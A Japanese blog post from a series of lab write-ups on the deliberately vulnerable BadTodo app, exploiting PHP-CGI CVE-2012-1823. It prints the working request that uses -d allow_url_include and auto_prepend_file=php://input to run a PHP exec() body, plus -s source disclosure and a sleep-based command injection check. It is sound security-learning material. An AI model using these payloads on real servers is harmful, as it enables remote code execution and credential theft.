やられアプリ BadTodo - 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)

前回:やられアプリ BadTodo - 7 リモート・ファイルインクルード(RFI) - demandosigno

古いPHPにはリモートからスクリプト実行を許す脆弱性があります。(CVE-2012-1823)
OSコマンドがウェブサーバ上で実行され、その結果がウェブブラウザに返されます。

ZAPの例の通りリクエストを送ってみます。
POST https://todo.example.jp/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
Body部
<?php exec('echo 7kv8fy0o9xhosg4ev3vk',$colm);echo join("",$colm);die();?>
レスポンス
7kv8fy0o9xhosg4ev3vk

JVNDB-2012-002235 - JVN iPedia - 脆弱性対策情報データベース には
「影響を受けるシステム:PHP version 5.3.12 より前のバージョン」
とありますが、Burpのレスポンスを見ると X-Powered-By: PHP/5.3.3 かつ Server API: CGI/FastCGI と記載があることから脆弱性のあるバージョンであると分かります。

CGIの仕様として、クエリ文字列に等号を含めない場合は、クエリ文字列がCGIスクリプトのコマンドライン引数として指定されます。
例えば、http://example.jp/test.cgi?foo+bar+bazという呼び出しに対しては、test.cgiは以下のコマンドラインで呼び出されます。
test.cgi foo bar baz この仕様を悪用して、CGI版のPHPにコマンドライン引数としてPHPのオプションを指定できます。例えばhttp://example.jp/test.php?-sというリクエストは、-sオプション(スクリプトソースを表示)と解釈され、PHPスクリプトを実行する代わりに、ソースを表示します。
blog.tokumaru.org

よって今回のZAPの例のクエリストリング?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://inputはPHPのコマンドライン引数
-d allow_url_include=1
-d auto_prepend_file=php://input となります。

CVE-2012-1823の影響はスクリプトソースの表示だけではありません。PHPのオプションを組み合わせることにより、外部から任意のスクリプト実行が可能となります。具体的には、-dオプションを用いて、php.iniのディレクティブを外部から指定できます。metasploitminute.comで紹介されていたExploitを元に、攻撃例を紹介します。以下の2つのphp.iniディレクティブを指定します。
allow_url_include=On
auto_prepend_file=php://input
最初のディレクティブは、includeするファイルをURL指定でリモートから読み出すことを許可するものです。2番目のディレクティブは、PHP実行に先立ち、スクリプトをincludeしておくものですが、ファイル名としてphp://inputを指定しているため、POSTパラメータとして送信した内容をPHPスクリプトとして実行します。両者の組み合わせにより、外部から指定したスクリプトを実行することができます。
blog.tokumaru.org

最初のBurpでのリクエスト例POST https://todo.example.jp/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://inputはPOSTパラメータとして送信した内容
<?php exec('echo 7kv8fy0o9xhosg4ev3vk',$colm);echo join("",$colm);die();?>
をPHPスクリプトとして実行します。
実際にレスポンスで実行されていることが確認できます。
7kv8fy0o9xhosg4ev3vk

次に同じく徳丸さんの動画を参考にもう一つ実行例を試します。

デモ用のスクリプトを作成し \badtodo\badtodo\www\html\todo に ps.php として保存します。

<?php
header('Content-Type: text/plain');
system("ps -fH");

このコマンドをブラウザで実行してみましたが、結果が何も返ってきませんでした。

端末の方でコマンドを打ってみたところ、 # ps -fH /bin/sh: 9: ps: not found
となりました。

ApacheDockerfileを見るとDebianがベースとなっています。
よって apt で procps パッケージをインストールします。
# apt update && apt install -y procps

参考:DockerHubのnginx:latestイメージでpsコマンド叩いたら「そんなもの無い」って言われたのでインストールする - モヒカンメモ

ブラウザで再度試します。

うまくいきました。php-5.3.3バイナリが実行され、シェル経由でpsコマンドが実行されています。
次にクエリ文字列で"this is a pen"と指定してみます。
https://todo.example.jp/ps.php?this%20is%20a%20pen

TIME CMD
00:00:00   /usr/local/apache2/cgi-bin/php-5.3.3.bin this is a pen

PHPバイナリに"this is a pen"と渡されています。

https://todo.example.jp/ps.php?-vの場合

00:00:00   /usr/local/apache2/cgi-bin/php-5.3.3.bin -v

https://todo.example.jp/ps.php?-d+allow_url_include%3dOnの場合

00:00:00   /usr/local/apache2/cgi-bin/php-5.3.3.bin -d allow_url_include=On

ps.php を phpinfo.php に置き換えると設定情報が閲覧できます。
"allow_url_include On"が有効化されていることが分かります(危険な機能であるためPHP5.2.0以降ではデフォルトではOffになっているのですが、BadTodoでは初期状態でOnとなっています)。

・基本はauto_prepend_file= で外部からスクリプトを実行すること
・そのためには、allow_url_includeがOnでないといけないが、これは、
 -d allow_url_include=On で外部から指定可能
・auto_prepend_fileで指定するURLは以下の候補があるが
 - 外部サイトのURL:外部にサイトを用意する必要がある
 - data:スキーム:URLでコードを指定できるが、エンコードが面倒
 - php://input:PHPの固有機能でリクエストボディを示す。これが一番簡単
もっとも悪用されたPHPの脆弱性CVE-2012-1823を検証する - YouTube

cat コマンドを実行してみます。

ソースコードの閲覧

ZAPの検出例として「Source Code Disclosure - CVE-2012-1823」が挙がっていますが、今回の内容に含まれる -s オプションでソースコードが閲覧できてしまうという指摘です。

3.6 SQLインジェクション MariaDBのパスワード取得でも少し書きましたが、ソースコードが閲覧できると logindo.php → common.php と辿ってデータベースのログインID/Passが分かります。
$dbh = new PDO("mysql:host=$dbhost;dbname=todo", 'root', '******');(実際はマスクされていません)

ウェブ健康診断仕様 p.12 OS コマンド・インジェクション」の例も試します。

一度リクエストを送った後、リピーターに回し再送信します。

"/bin/sleep 20" が応答に20,038ミリ秒=20秒かかっており、OSコマンドが実行されたことが分かります。

次回:やられアプリ BadTodo - 8.2 OS コマンド・インジェクション(内部でシェルを呼び出す関数) - demandosigno

/* -----codeの行番号----- */